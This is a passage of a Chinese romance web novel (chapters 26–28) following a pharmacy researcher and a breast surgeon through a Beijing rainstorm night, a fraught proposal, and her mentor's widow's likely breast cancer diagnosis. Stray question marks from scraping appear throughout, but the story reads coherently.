小时候她?什么也不懂,就以为学了这个就再不用家人为了那?点药钱犯愁了,长大一点后,才知道小时候的想法多可笑,药的事说到底还是钱的事,但某些东西却根深蒂固地扎根在了她?心?里。 后来一路走?来,她?其实?已经记不起自己最?初是为什么选择了这个专业,但是却清楚记得跟在导师身后的那?些岁月,记得他的殚精竭虑和远大抱负,以及那?些或令人振奋抑或令人沮丧的各类报道和数据。 她?耳濡目染,开始关心?他们的研究成果有多少能用到临床,开始关心?国药的价格、治疗效果和副作用什么时候能全面赶超进口药。 这是很?漫长的一条路,比她?的求学之路更漫长也更艰难。 或许她?资质平平,一辈子不会有导师那?样的成就,但她?也曾有很?多次为能够站在导师身后而与有荣焉。 人一旦成年,好像就很?少提理想和抱负了,怕显得不稳重,更怕被?看轻。 但这一次,谢一菲很?平静地说:“药者仁心?,悬壶济世,你信吗?” 他学着她?的口吻反问:“为什么不信?” 谢一菲不确定他这话是发自内心?的还是只?是在调侃她?。 他却像知道她?的心?思似的,又重复了一句:“我信。” 谢一菲有点意外地看向他。 秦铮笑着看过来:“这么说咱俩还挺像。” 她?愣怔了一下,然后很?快错开视线。 窗外,路上的积水比刚才更深了,一辆车接一辆车的小心?前行?着。 原来就在他们说话的这一会儿,外面雨势更大了,大得不像一场简单的雨。 因为路况越来越差,两人谁也不再说话,生怕一不小心?车子就抛锚在路上。 又过了一会儿,车子在红绿灯前停了下来,旁边是地铁站的一个出口,有积水正?顺着地铁站入口往下灌,出站乘客狼狈地挤在入口处躲雨。 谢一菲所?住的小区比较老,小区附近有座高架桥下只?要下雨就会积水,更别说是今天这情况了。她?有点担心?他们的车能不能顺利通过那?条路。 “一会儿前面的高架桥下如果水太深,你就把?我放下吧。” 身边的人没有回应。 谢一菲回过头,发现秦铮正?盯着窗外某一处看。 她?循着他的视线看出去,还没搞清楚他看的是什么,车子又开始缓慢向前挪动。 是绿灯亮了。 “你刚才说什么?”秦铮像是有点心?不在焉。 “我家附近那?条路不好走?,一会儿让我下车走?回去吧。” “走?回去更不安全。” 说话间,秦铮看了眼后视镜,雨太大,什么都看不见。但是刚才等红灯的时候,他好像看到了秦一鸣和刘希若,两人打着一把?伞,看着就跟那?些出来约会结果被?大雨截住的普通情侣没什么不同。 第26章 第 26 章 “要不今晚就在这凑合一…… “最近和秦一鸣怎么样?”秦铮问。 他的?话题过分?跳跃, 谢一菲一时间没反应过来。 不过提到秦一鸣,谢一菲的?心情就更烦躁了。 自从那晚后,秦一鸣倒是比以前更殷勤了, 但两人的?感情却?没有变得更好,她甚至发现自己有点害怕见?他。 玻璃有了缝隙,终归还是不那么通透了。 “怎么突然问这个??” “看来是还没分?手。”他看她一眼,“为什么?狠不下心, 还是舍不得?” “这不是一个?意思吗?” “不一样。狠不下心说明你已经不爱他了,舍不得说明你对他还有感情。” 秦铮好像总是能一眼看穿她的?心思,可她对秦一鸣到底是哪一种?, 谢一菲自己也说不上来。 “谁说我们要分?手了?” 秦铮不置可否地笑了笑。 谢一菲不想再跟他谈论秦一鸣,打开了车载广播。 此时广播里正在?播报路况, 包括哪里积水严重、哪里有车子?抛锚、哪个?地铁出口有雨水倒灌、某某高架下有人被困在?车内等待救援等等等等…… 广播的?声音充斥着整个?车内,两人都不约而?同安静下来。 原来这一晚上, 整个?北京都因为这场大雨陷入了混乱。 受这些消息的?影响, 车内的?气氛好像也紧张了起来。 谢一菲记得去年也有过这么大的?一场雨, 据说一对老夫妇就是因为那场雨困死在?了自家的?车中。而?今夜的?这场雨,不知道又会有多少人遭殃。 快到谢一菲最担心的?那座高架桥下时,果然就见?已经有车子?抛锚在?路上, 其他车辆小心翼翼地绕行,将?路堵得水泄不通。现在?这情况就算秦铮同意她下车走回去,他也没办法原路返回。 他们只好硬着头皮往前开, 短短几?百米的?距离,他们走了足足半个?多小时, 最后总算有惊无险地到了谢一菲家楼下。 此时的?雨比半小时前更大了,雨刷器孜孜不倦地工作着,但雨水依旧挂满了整个?车窗玻璃。 广播里还在?播放着某某路段正在?实?施紧急救援请其他车辆绕行的?消息, 正是他们刚才路过的?地方,原来他们离开不久就又有车子?抛锚在?那了。 无论如何,他是为了送她才耽误了这么长的?时间,雨不停的?话路况只会越来越糟,他回去时说不定就会遇上危险。 她犹豫再三,提议道:“要不先去我家喝杯茶吧,等雨小一点再走?” 怕他误会什么,她又解释说:“这一路过来你也看见?了,路上事故太多,我怕你回去不顺利,今天这情况万一车抛锚在?路上,等救援都不知道要等多久。” 秦铮:“难得,这么容易就能喝上你家的?茶。” 说刚才那话时,谢一菲就猜他肯定会提一个?多月前那事,这人果然还在?记仇。但看他这么辛苦送她回来的?份上,她也懒得计较了。 推开车门的?一刹那,夜风裹着雨丝扑进?车内。 她正打算冲入雨中,头顶上方忽然多出来一件西装外套。秦铮不知道从哪找出来这件外套,一小半遮在?他自己头上,另一半正等着替她遮挡风雨。 “愣着干什么?”他催促她。 谢一菲回过神?来,快速冲进?他的?庇护之中。 她刚一下车,便被他裹住,她还来不及跟他保持距离,就已经被他带着朝单元门跑去。 与湿冷的?空气不同,他的?身?体是温热干燥的?,隔着一层薄薄的?T恤传递给她安定的?力量。 短短十几?米的?距离他们却?好像跑了很久。 终于冲进?了单元门,厚重的?铁门在?身?后吱吱扭扭地缓慢合上,老旧的?声控灯应声亮起。谢一菲快速整理了一下自己,除了裤腿湿了,其他地方还好。 但秦铮远没她幸运,他的?半边身?子?几?乎被雨水浇透了,单薄的?T恤湿哒哒黏在?他的?皮肤上,隐约可见?手臂上的?肌肉线条。 难怪她没淋到多少雨。 “怎么了?”或许是感受到了她的?目光,他问她。 “没什么,上楼吧。” 回到家,谢一菲立刻找了毛巾拿给秦铮。 秦铮接过擦了擦身?上的?水,但他淋的?雨比她多,擦干了头脸,衣服还湿乎乎地贴在?身?上,看着就不舒服。 而?且大概是怕弄湿她家的?沙发,他进?门后始终是站着的?。 今晚情况特殊,她也不想管那么多了,回到房间找了身?干净的?男士居家服出来:“要不你先把湿衣服换下来,晾干点再穿?” 他看了眼她手上的衣服,并不接。 谢一菲大概猜到他在介意什么,解释说:“这些是小东的?。” 谢一菲口中的?小东是她弟谢东,当年和秦铮也很熟悉。这身家居服是去年小长假谢东来北京玩时她特意准备的?。只穿过那一次,洗干净了几?乎是新的?。 秦铮闻言这才接过衣服,走去了卫生间。 还真是怪了,他宁愿穿她弟的?衣服,也不愿意穿自己堂哥的?。 趁着他去换衣服的?时候,谢一菲先是打给了几?个?学生,听说他们都已经安全到家了才放下心来。 她的?裤子?在?刚才从车上跑进?来时弄湿了,她找了条睡裤换上。 再从房间出来时,秦铮也已经换好了衣服。 他比谢东高半头,也比谢东更结实?,好在?当初买这套衣服时,谢一菲想着大点更舒服,就买了大一号,倒是正适合他。就是白T恤和浅咖色休闲裤的?款式太学生,和他往日的?风格大相径庭,让他没了那种?拒人于千里之外的?感觉,再加上额前的?头发被他系数捋到脑后,露出光洁的?额头和优越的?山根,看着更多了几?分?少年气,就和她学校的?学生差不多,也更像十年前的?他了。 这么想来还真不公平。 十年了,走在?校园里也再不会有人把她当成十几?二十的?大学生。可岁月带走了她的?天真,却?没给她这个?年纪该有的?沉淀。三十而?立,如今她已经31岁了,爱情亲情事业梦想还都是看不到未来的?状态。 可反观他,十年的?时间他收获的?成绩和赞誉无数,还有数不清的?女?朋友。然而?他得到了那么多,却?连一根白头发一条细纹都没有。 视线中的?男人低头审视自己:“有什么问题吗?” 谢一菲回过神?来:“没什么,就是没想到你穿小东的?衣服还挺合适。” “我也没想到,小东现在?这么高了。” 他们刚认识时谢东高一他高三,当时的?谢东比同龄男生都要矮,甚至还不如她高。也正因为这个?,才被那几?个?坏学生欺负。 但他们老谢家的?基因摆在?那,她都能长到一米七,别说她弟了。也不知道是从哪一天开始,谢东忽然开始窜个?子?,好像一夜之间就长成了大小伙子?。 “后来长了点,不过还是没你高。” “下次他来你告诉我,我们也好久没见?了。” “好。” “不过……”秦铮又低头看了眼自己,“我穿成这样在?你家,万一秦一鸣突然来了,你就不怕他误会?” 如果是平时,这么晚了她还留他在?家里,让他换衣服这当然不合适,但是今天情况特殊,而?且要不是为了送她,他现在?应该早回家休息了。 “既然是误会,那解释清楚就行了。” 话是这么说,但她心里还是忍不住打鼓。 秦铮像是看穿了她的?心思,笑着说:“放心,他来不了。” 谢一菲怔了怔,总觉得他的?语气有点奇怪,或许是太过笃定了。 秦铮:“这么大的?雨,他怎么来?” 也是。 可这话听着怎么这么暧昧?好像他们真要做什么见?不得人的?事一样。 她下意识避开他的?视线:“你随便坐,我去给你倒点水。” “谢谢。” 再从厨房出来时,她看到秦铮正站在?她的?鼓房门口,端详着里面?那套鼓。 听到脚步声,他回过头来:“不介意吧?” 谢一菲把水杯递给他:“不介意,随便看。” 秦铮接过水杯握在?手里:“什么时候学的?打鼓?” “不记得了,断断续续十来年了。” “那就是我们分?开之后开始学的?。”秦铮笑了笑,“你当初说想学打鼓,我以为你只是随便说说,没想到真的?去学了,而?且还打得不错。” 难得从他这里听到一句好话,可过去的?事在?他们之间算是个?禁忌,尤其是今晚这种?情况,孤男寡女?共处一室,叙旧是件很危险的?事。 她敷衍道:“随便打着玩的?,可能后面?忙起来就不打了。” “秦一鸣知道你去夜店打鼓的?事吗?” 为什么她不想提的?事,他偏要一遍又一遍的?提起呢? 她给了他个?似是而?非的?答案:“这套鼓是我和秦一鸣一起买的?。” 生怕他要继续跟她聊过去或者聊秦一鸣,谢一菲打开了电视。 电视打开恰巧是一档北京当地的?新闻节目,正在?播报着和这场雨有关的?最新情况。 就在?刚才不久,他们附近的?一座桥被雨水冲塌了,有一辆车被冲进?了河里,随着河水一荡一荡摇摇欲坠,车的?尾灯还在?闪烁,里面?显然还有人,岸上的?救援人员正在?紧急施救,隔着屏幕都能感受到那种?紧张的?气氛。 看来他们一路听到的?广播新闻都只是这场雨带来的?冰山一角,记者镜头下呈现出的?今晚的?北京远比他们想象中的?更糟糕。 这时候谢一菲的?手机忽然响了,是家里的?来电,她避开秦铮接通电话,还好是爸爸的?声音。原来他也是看了新闻很担心她,所以打电话来问问她的?情况。 谢一菲安抚了他好一会儿才挂断电话。 翻了翻手机,发现不久前师母也发微信来问她有没有受影响。 连远在?南京的?家人和平时睡很早的?师母都被惊动了,可见?这场雨确实?和以往不同。 但秦一鸣却?没有一句关心,这有点不寻常,难道是他自己遇到了什么麻烦? 这么想着,谢一菲拨通了秦一鸣的?电话。 电话隔了很久才接通,秦一鸣声音不大,像是在?刻意压着音量。 她猜测秦母八成在?身?边,所以长话短说问他有没有被雨截在?外面?…… 秦一鸣似是松了口气:“我没事,你呢?我看好多路段都不能通车了,还有座桥塌了,你那附近有没有受影响?” “还好。” 互相关心了对方几?句,两人不约而?同地沉默了。 谢一菲顿了顿:“那你先忙吧。” 挂上电话她看向窗外,他们回来也有段时间了,此时雨势非但没有变小,小区里的?路也已经淹了大半了,外面?的?马路上的?情况更是可想而?知。 时间已经很晚了,她想了想对秦铮说:“看这情况雨一时半会儿停不了,你现在?回去很不安全,要不今晚就在?这凑合一晚吧?” 抬眼对上他的?目光,她又欲盖弥彰地解释了一句:“鼓房里的?沙发是可以展开的?。” 秦铮笑:“那就打扰了。” 第27章 第 27 章 “和秦一鸣分手吧。”…… 谢一菲:“那你?先洗澡吧, 洗完早点睡。” 她的意思再明?显不过,留他在?家里住是情势所迫,但今晚她不想?再跟他有过多的交流。 “好。” 谢一菲松了口气。 趁着他去洗澡的时候, 谢一菲替他铺好了沙发床,然后回到房间里关好了门。 不多久,浴室的水声停了,男人的脚步声由?远及近, 路过她的房门前时并没有停留,直接去了隔壁鼓房。 谢一菲又等了一会儿,确定他已经睡下了才起身去洗澡。 浴室里, 氤氲的热气还没有退散。 空气里面弥漫着她再熟悉不过的沐浴液和洗发水的味道,但她总觉得今天这味道有些不同, 好像掺杂着些许独属于男人的雪松香。花洒的高?度也与平时不一样,要她稍微踮踮脚才能够到。去拧沐浴液的瓶盖时她更是拧了好久, 险些放弃…… 这一切都在?提醒着她, 今晚的这栋房子里多了一个男人。 想?到这一点, 她没感放开手脚洗,只简单洗了个战斗澡。 然而当她走?出?浴室时,却发现本该睡了的男人正?坐在?客厅的沙发上看手机。 “你?怎么还没睡?”谢一菲问。 “那沙发床太小, 我腿伸不开。” 他边说边抬起头来?,然后视线忽然定格在?了她的身上。 她眼睁睁地看着他脸上的表情从怔忪变成恍然,然后是忍俊不禁。 “这睡衣哪来?的?不会是你?家老?太太传给你?的吧?” 他口中的老?太太就是谢一菲的奶奶, 以前两人在?一起时他经常这么说。 谢一菲不想?解释太多,她有点渴, 去厨房给自?己倒 了杯水。 秦铮明?知故问:“你?穿这么严实?不热吗?” 考虑到他在?,她特意找了身包裹严实?的睡衣,是她来?北京读书?那年她妈给她买的, 款式确实?有点老?土,最重要的是,根本不是这个季节穿的。所以确实?很热,尤其是喝完一杯热水后,瞬间又出?了一身汗。 这个澡算是白洗了。 “不热。”她面不改色,说完一回头,发现他不知道什么时候跟了过来?,堵在?了厨房门口。 她顿了顿:“有事?吗?” “我也渴了。” 他话音刚落,谢一菲手上的杯子就被拿走?了。 她还来?不及阻止,他已经拿着她的杯子喝起水来?。 他微微仰着头,像是真的渴了,而她的视线恰落在?他滚动的喉结上,脑子里忽然就浮现出?一些很久远的画面…… 她强迫自?己打住,再回过神来?时,他正?把空掉的水杯放在?她身后的流理台上。 两人的距离因为他的这个动作?靠得更近,也让她觉得更热了。 她不想?被他看出?她的紧张:“你?要是实?在?睡不着就回房间去看手机吧,我不喜欢客厅里有光亮。” 她粉饰太平的意图再明?显不过,然而这一次他却没有配合她。 他就那么静静的看着她,不后退,也不说话。 不安分的情绪开始在?这沉默中发酵,她能感受到身后的睡衣已经被汗水打湿。 不能再这样下去了。 而正?当她推开他打算离开的时候,他忽然再度开口:“你?去参加同学聚会的前一天晚上,我去过你?家。” 谢一菲一时没听?明?白他在?说什么。 他神色黯了黯,继续道:“十年前的那一天,我去过你?家。” 经秦铮这么一提示,一段很久远的记忆便浮上了心头。 谢一菲这样的性格,很少去参加同学聚会,从小到大只有有数的几次。他知道的应该是她大一那年的校友会。 谢一菲所在?的高?中考药科大学的并不多,但因为是本地的高?校,几届学生凑一凑也能凑出?一桌来?。 那次校友会是谢一菲高?中时曾暗恋过的一个学长组织的。虽然那段暗恋很短暂,短到在?他们成为大学校友前就已经结束了,但面对自?己曾经喜欢过的人,心态总归还是有所不同的,所以她非但没有拒绝,反而还很重视。 聚会的前一天,她特意翘掉了选修课,用省下的生活费买了一条白色连衣裙,很简单的款式,但难得剪裁合身,穿着很素净,是她喜欢的风格。 但是在?离开商场前她被一个女孩撞了一下,女孩手上的奶茶洒了她一身,她只能去卫生间换上了那条新买的裙子。 虽然遇上了意外,但穿新裙子的心情总是不错的,可是她那天的好心情只持续到进?家门之前。 那时候正是附近邻居吃完晚饭在?楼下乘凉聊天的时间,她在?家门外遇到了奶奶和她的几个老?姐妹。 见她穿着新衣服,奶奶的脸色立刻沉了下来?,谢一菲的心也因此提了起来?。 她隐隐有种不好的预感……果然奶奶没给她任何解释的机会,也不管旁边有没有外人看热闹,就开始扯着嗓门数落她败家不懂事。 奶奶重男轻女,对她这个孙女和“灾星儿媳”不好在?一众老?街坊间早已不是什么秘密了,可是还从未像今天这样当着别人就开骂的,偏偏她又不能直接走?开,否则就应了那句“一身反骨”的评价,而且躲得过初一躲不过十五,回到家后迎接她的会是更不堪的咒骂,甚至爸妈也会被牵连。 直到多年后的今天,她仿佛还能想?起自?己当时的感受——邻居们或审视或怜悯或无所谓的目光让她如?芒在?背。 那条裙子也就八十块而已,在?当时而言也就是其他同学一顿肯德基的钱。至于吗? 最后终于等到奶奶骂累了,她才离开。忍着气跑回家,家里却空无一人,她连个诉说委屈的对象都没有。 她难受极了,愤愤脱掉那条裙子甩在?床上,而眼泪在?她跑进?家门的一刹那就不受控制地流了出?来?。 她没有开灯,仿佛只有黑暗能包容她的失控。但她的房间外恰有一盏路灯,冷白的灯光从窗子上透射进?来?,让她的房间里不至于一片漆黑。 她坐在?床边默默落泪,无声地想?着心事?,直到被清脆的关门声唤回了神。 她以为是家里人回来?了,连忙穿好衣服走?出?房间,可家里依旧只有她一个人。那刚才的关门声从何而来?? 她记起家里的门锁出?了问题,平时都要很用力才能关上,一定是她刚才心不在?焉才没关牢。 谢一菲越想?越害怕,所以刚才有什么人进?来?过吗? 这么想?着,她连忙跑去窗边往下看。 其实?不指望能看到什么的,却恰巧看到少年骑着自?行车从她家窗下飞驰而过。他身上的白色衬衫被夏风鼓动得猎猎作?响,一眨眼的工夫,他人已经淹没在?了夜色中。 自?从谢一菲答应辅导秦铮的英语后,他就时常会去她家,所以刚才的不速之客是他吗?也或者他的路过只是巧合? 她不确定他是不是看到了什么,是不是看到了她只穿着内衣的样子……一想?到这些,谢一菲就觉得害臊又懊恼,但奇怪的是,她并不觉得恼火。 后来?,那件事?一直没有得到证实?也就被她渐渐忘记了,但那晚他穿着白衬衫骑着单车划破夜色的画面却牢牢印刻在?了她的脑中。 此时想?起来?,她好像还能闻到那晚夜风中合欢花的味道,而那晚那个让她害臊又懊恼的猜测也在?十年后的今天得到了证实?。 “你?那天找我什么事??” 她也不知道时隔这么久再问这个还有什么意义,可能只是不想?让这一刻的沉默蔓延吧。 “找你?问几道英语题。” 果然和她猜的差不多。 他却笑了笑又问她:“你?信吗?” 其实?从后来?的事?情走?向也能猜到,他之前找她辅导英语多半只是个借口。 可即便是算计,在?如?今看来?那也是真诚的,因为他算计的目的很真诚,只为她。而如?今他们的相处倒是少了很多迂回曲折,可心境却复杂了很多。 谢一菲:“信不信又怎么样,都过去这么久了再说这些还有什么意思?” “你?觉得没意思,可我觉得很有意思。” 谢一菲不耐烦:“你?到底想?说什么?” “和秦一鸣分手吧。” 简单的几个字,却有种莫名的压迫感,就像一记惊雷划破了这个混乱的夜晚。 “然后呢?”她听?到自?己问。 面前的男人眸色深黑,像外面漆黑的夜一样酝酿着她看不懂的情绪。 “我们在?一起。” “为什么?” “你?不用考虑我是怎么想?的,反正?对你?而言,我应该是比秦一鸣更好的人选。你?可以好好考虑一下。” 谢一菲正?想?直接回绝,他看着她又说:“这是第三次,也是最后一次。” 厨房里只剩下谢一菲一人,她像是被人抽走?了脊骨,瞬间垮下了肩膀。 多可笑,就在?刚才他说“我们在?一起”的时候,她恍惚间以为他对她或许还有几分真感情,可结果又只是她的自?作?多情。 她回忆着他们重逢以来?的种种。 第一次是他们从秦一鸣家离开时,他说如?果她只是想?玩玩,那他是比秦一鸣更好的人选。第二次是他来?给她送手机的时候让她考虑他的提议。第三次,就是今晚。 “既然你?不想?结婚,那你?跟他在?一起是随便玩玩的吗?” “如?果只是玩玩,为什么非得是他?” “我乐意奉陪。” 一而再再而三地引诱她,可又在?毫不避讳地表明?态度——她只是他无聊生活中的一点慰藉,和喜欢与爱无关。 可他凭什么觉得她会接受? 多么自?大。 …… 第28章 第 28 章 有人穿越熙攘人流朝她们…… 多年?的教学工作让谢一菲养成了早起的习惯, 当窗外第?一缕光亮投进? 卧室时,她就醒了。 她迷蒙地睁开眼,缓了片刻, 忽然整个人就清醒了过来?。 她想起来?今天不同以往,因为家里多了一个人。 她连忙从床上爬起来?,快速穿好衣服,对着镜子把睡乱的头发整理好, 打开门前又犹犹豫豫地等了一会儿。 很奇怪,门外一点声音也没有,是还?没起吗? 当她轻手轻脚拉开门, 看到门外的情形时,提着的那口气就慢慢泄了出来?。 隔壁鼓房的门大敞着, 里面整齐如初,房间的窗半敞着, 可?能昨晚没有关, 也可?能是刚被打开, 晨风徐徐带进?来?湿漉漉的味道。 她忽然有点不确定,他?究竟什么时候走?的,是昨晚, 还?是今晨? 简单洗漱了一下,也该到去医院的时间了。 正在这时,她的手机忽然响了起来?, 与此同时屏幕上跳动着“师母”两个字。 …… 早上,科室的病例讨论会进?行到一半时, 秦铮的手机就想了,是谢一菲。 他?刚从她家离开几小时,她的电话就打了过来?, 也不知道是什么事,总归不会是来?质问他?为什么不告而?别的吧。 感受到会议室里其他?人投过来?的视线,他?按熄屏幕,继续听师妹李灿讲述病历。 “患者,女?,28岁,近三个月来?出现疼痛和两侧不对称的乳、房肿块,两侧有红斑、柔软、并且有局部的、可?触及可?移动的肿块,右乳、房增大明显,比三个月前大一倍,患者没有服用任何药物……” 幻灯片上的那对乳、房大得很不正常,且□□红肿,完全看不出本来?的样子。 李灿继续介绍道:“半年?之?前患者发现右乳、房有肿块,活检发现是良性增生性乳腺组织。患者没有乳腺癌或卵巢癌的家族史。X光和超声显示双侧肿块较大,考虑到皮肤表现、快速生长?以及肿块的巨大、不规则和异质性,放射科医生将乳腺影像报告和数据系统分类为5类。” 分类为5类,这表明该病变高度怀疑是恶性肿瘤。 “看这个分析,像是炎性乳腺癌。”说话的是他?们科室里的另一位副主任张涛。 李灿说:“可?是大约50%的炎性乳腺癌是摸不到肿块的。” 张涛:“这不是还?有另外50%吗,取个病理就什么都?清楚了。” 这时候,秦铮的手机再度响了起来?,依旧是谢一菲。以谢一菲的性格,打一次电话他?没接,一般不会这么快再打第?二次,难道是有什么急事? 似乎是注意到了秦铮的心不在焉,周意芝忽然点了他?的名字:“秦医生怎么看?” 秦铮只好放下手机,他?扫了眼患者病例说:“超声图像上可?见双侧腺体内大量间质增生,皮肤增厚,与炎性乳癌不符。我看病历上说,患者六个月前进?行了依托孕烯皮下埋植,很有可?能是依托孕稀引起的乳腺炎性增生,建议先?取出皮下埋药,再观察患者症状有没有好转。” 李灿笑道:“我也觉得师兄说的这种可?能性大。” 周主任点了点头:“那就这么和患者沟通试试吧。” 会议结束,周意芝刚一离开,张副主任便阴阳怪气道:“还?得是咱们主任的关门弟子啊,考虑问题就是比我们这些人全面。” 秦铮早习惯了对方这样的态度,而?且他?心里一直惦记着谢一菲的那两通电话,也就没理会张涛。 谁知他?一离开会议室,就听到张涛骂骂咧咧地说他?目中无人。 秦铮只当没听见,快步往研究生办公室走?去。问过才知道谢一菲今天没有来?。 不是公事,那就是私事。可?什么样的私事让她这么着急? 他?拨通了谢一菲的电话,对面人像是一直在等候着似的立刻接通了。 “秦医生,是我,有个情况想咨询你一下,你现在方便吗?” 她与昨晚截然不同的语气让他?意外,也让他?不由得郑重起来?。 “方便,你说。” 简简单单的四个字却有着某种无形的力量,让谢一菲的心安定了不少。 她定了定神?,把虞洁的情况挑重要的说给?秦铮。 几个月前虞洁在家打扫卫生的时候不小心撞到了胸部,当时撞得不轻,怕有什么意外,谢一菲特?意带着虞洁去医院做了检查。检查结果一切正常,两人就没再当回事。但虞洁没说的是,那次之?后?她的胸部就留下了一个肿块。 她以为这个肿块会随着时间的推移渐渐变小乃至消失,但是已经过去几个月了,肿块非但没有消失,反而还会隐隐作痛。 她隐约觉得不对劲,抱着让自己放心的初衷又去做了检查。让她没想到的是,短短几个月而?已,她前后?两次的检查结果竟然完全不同。超声结果给那个肿块分类是4C,门诊医生的那些话更是几乎给她的情况定了性,是乳腺癌。 谢一菲不解地问:“外伤也会致癌吗?会不会是误诊?” 秦铮沉吟了一下说:“这个情况一两句解释不清楚,你现在在哪?” 谢一菲看了眼周遭乌泱泱的人潮:“我在门诊。” “好,我马上到。”结束通话前他?又问了一句,“患者是你什么人?” “我师母。” 挂上电话,谢一菲安抚地朝身边人笑了笑:“我这个朋友是乳腺外科的专家,放心吧,有他?在您肯定会没事的。” 虞洁点点头,勉强挤出一个笑容。 不多久,有人穿越熙攘人流朝她们所在的方向走?来?,优越的身高让他?在人群中也非常显眼。 那一刻她悬着的心终于落回了实处。 谢一菲发现,不管两人之?间经历过什么,但似乎总有那么几个瞬间,她一看到他?,她的心莫名就安稳了。 秦铮将她们带到一间诊室里,再次为虞洁检查。 之?前的那次检查,谢一菲并没有跟着,这一次她才看到了师母那所谓的“撞伤”。 虞洁的左乳已经产生了轻微的变形,局部皮肤还?有像橘皮一样的改变,在秦铮的手轻轻按压到某处时隐约可?见皮下有肿块。 这段时间谢一菲也学到了不少关于乳腺的常识,她知道这样的乳、房形态绝对不正常。 在这之?前,谢一菲还?抱有一丝侥幸,希望是误诊,希望一切都?还?有转机,可?是这一刻,心里最后?的那扇窗仿佛也被关上了。 现代医学这么严谨,尤其是在这样的三甲医院,哪会有那么多误诊? 虞洁观察着秦铮的神?色,小心翼翼地问:“医生,这个肿块会不会就是淤血?我几个月前才做过检查,当时还?是好好的,这才几个月怎么就这样了?” 秦铮:“几个月前的检查结果只能代表当时的情况,现在几个月过去了,情况可?能有变化。” 手诊结束,秦铮写了张字条递给?虞洁:“您拿这个找您今天挂过号的门诊医生,他?会给?您开个钼靶,您做完检查拿着结果来?找我……或者让谢老师来?找我也可?以。” 虞洁垂眼看着手上的字条半晌没有再开口。 谢一菲起初以为她是看不懂秦铮的字,正想凑过去帮她看看,虞洁就在这时候抬起头来?。 她看着秦铮,面色沉静,但通红的眼眶暴露了她此刻的心境。 “是癌症吗?”她问。 听到这句话,谢一菲的心像被针扎了一下。 其实这个问题的答案在场三人都?清楚,虞洁想要的只是最后?一丝生的希望。 谢一菲紧张地看向秦铮,生怕他?说出什么让虞洁无法接受的话,可?是她也清楚,医生该是客观的。 “乳腺结节的分类是根据恶性概率来?分的,如果评级为4c通常说明恶性的概率比较高。所以光看这个不能说绝对是恶性,也不能说不是,只能说是恶性的可?能性比较大……” 随着秦铮说出这番话,虞洁眼中的光仿佛也在一点点的流逝。 “我明白?了。” 秦铮顿了顿话锋一转:“但乳腺癌也分很多型,每一种类型的恶性程度相差很大,而?且不 同阶段的癌症治愈率也相差很多。时代变了,医学在进?步,其实现在对待癌症的态度不用那么悲观。有人说,如果人这一辈子一定要得一种癌症的话,在早期阶段确诊乳腺癌也算是不幸中的万幸了。” 虞洁怔了怔,那消失的光好像又重新聚拢起一点。 谢一菲很感激秦铮能说这么多来?安抚虞洁。 她对虞洁说:“不管结果怎么样,咱们听医生的,肯定没问题的。” 虞洁点点头:“谢谢您,秦医生。” 从门诊出来?,她们又去做了几项检查,到医院下班才回家。 谢一菲一直陪着虞洁,直到虞洁睡下。 她关掉卧室的灯,正打算离开,虞洁忽然说:“其实就算是最差的结果也没什么可?难过的,年?纪大了就该接受这种事,你导师他?比我还?小半岁呢,甚至没活到我这个岁数。” 月光从窗帘缝隙投射进?来?,床边斗柜上的相框反着亮光。 谢一菲记得那张照片,那是导师、师母以及他?们同门师兄弟的合照。 导师的学生有很多,足足站了有两排,大家簇拥着导师和师母,每个人的脸上都?洋溢着笑容。 那时候导师的身体还?算康健,头发虽已白?了一半,但每天都?会被他?打理得整整齐齐,他?很少笑,可?那张照片却是笑着的。 而?就在那张照片拍完不久后?,他?的身体就出了问题。 谢一菲不由得想起导师临走?前的那段日子,每一天都?是灰败的,而?她作为师弟师妹们的大师姐、师母当时的依靠,却要在这灰败中强撑起微笑。 她记得他?们师生二人曾有过一次短暂的交流。 导师说他?今生放不下两样东西,一个是他?没有做完的研究,希望谢一菲能继续下去,帮他?完成他?未尽的事。而?另一个,就是他?的爱人虞洁,说她先?是经历了白?发人送黑发人,又要经历老伴的离开,肯定很受打击。 那时候,他?们的儿子已经去世好几年?了,他?们刚从最初的震惊和悲痛中走?了出来?,生活回归平静,导师又生病了。这样的打击给?任何一个人或许都?无法承受吧,所以导师希望谢一菲有空的时候能看顾一下虞洁。 谢一菲自然不会拒绝,而?且当时的她也没觉得这是件多难的事。 直到这一刻,她才觉得力不从心起来?。 这才过去多久,导师尸骨未寒,师母的身体就出了问题。 如果她能再重视一点,那次检查过后?再带着她复查一次,或许不会到今天这种程度。 虞洁静了静又说:“虽然秦医生说这病分好几种情况,但谁能保证自己?就能比别人幸运?人各有命,不管是什么结果,我都?接受。你也是,别为我的事着急上火。” 看着夜色中床上那微微隆起的身影,听着她平静无波的谈论着生命的尽头何时到来?,谢一菲的心就像被砂纸磨过又撒了把盐一样,密密麻麻地刺痛着。 她不敢开口劝慰什么,怕一开口就泄露了情绪. 从虞洁家出来?时,已经九点多了,虽然时间不算早了,但还?没进?入北京真正意义上的夜。昨天的暴雨过后?,又断断续续下了十几个小时的小雨。街道上的积水退了,但有些地方还?没来?得及打扫,袒露出被暴风雨洗劫过后?的一片狼藉。 谢一菲沿街往家走?,过往这些年?和导师一家的记忆,走?马灯一样反复在脑子里重演。 人这一生太无常了,说不准就是峰回路转,而?更多的却是急转直下一泻千里,尤其是在过了某个年?岁之?后?,人生的基调就从“获得”转变成了“失去”。 不知走?了多久,终于到了家,正在这时,忽然看到有人从前面的阴影处走?出。 “怎么不接电话?” 谢一菲怔了怔问:“你怎么来?了?” 秦一鸣像往常一样自然而?然地接过她手里的包:“昨天雨下那么大,我本来?想问问你有没有事,但家里漏水太严重了,一整晚都?忙着‘抗洪救灾’,也没顾上问你,今天一有空我就过来?了。” 秦一鸣母亲家是老房子,还?是顶楼,昨晚雨下那么大,他?那的情况可?想而?知。 “我没事,你家漏水的地方修好了吗?” “哪有那么快,得等雨彻底停了物业才能找人上去修。对了,你怎么这么晚回来??又加班吗?不是我说你,这么拼小心累坏自己?,项目的事也不急在这一天两天……” 听着他?数落自己?,谢一菲的目光下意识地落在他?的脸上……这是一张端正温润的脸,不足以让人一见倾心,但却能给?人踏实的好感。 那是他?给?她的初印象。 她恍惚想起了她和秦一鸣第?一次见面的情形。 导师一向是个心无旁骛的人,好像眼里除了科研和学术就再装不下其他?了,但师母一直记挂着谢一菲的终身大事,不放过任何给?谢一菲做媒的机会。 秦一鸣是师母严选出来?的学校里最有前途的年?轻老师之?一。 她和秦一鸣第?一次见面就是在导师家里,师母做了一大桌子菜,向来?不爱应酬的导师硬是陪着秦一鸣聊了几个小时的历史。 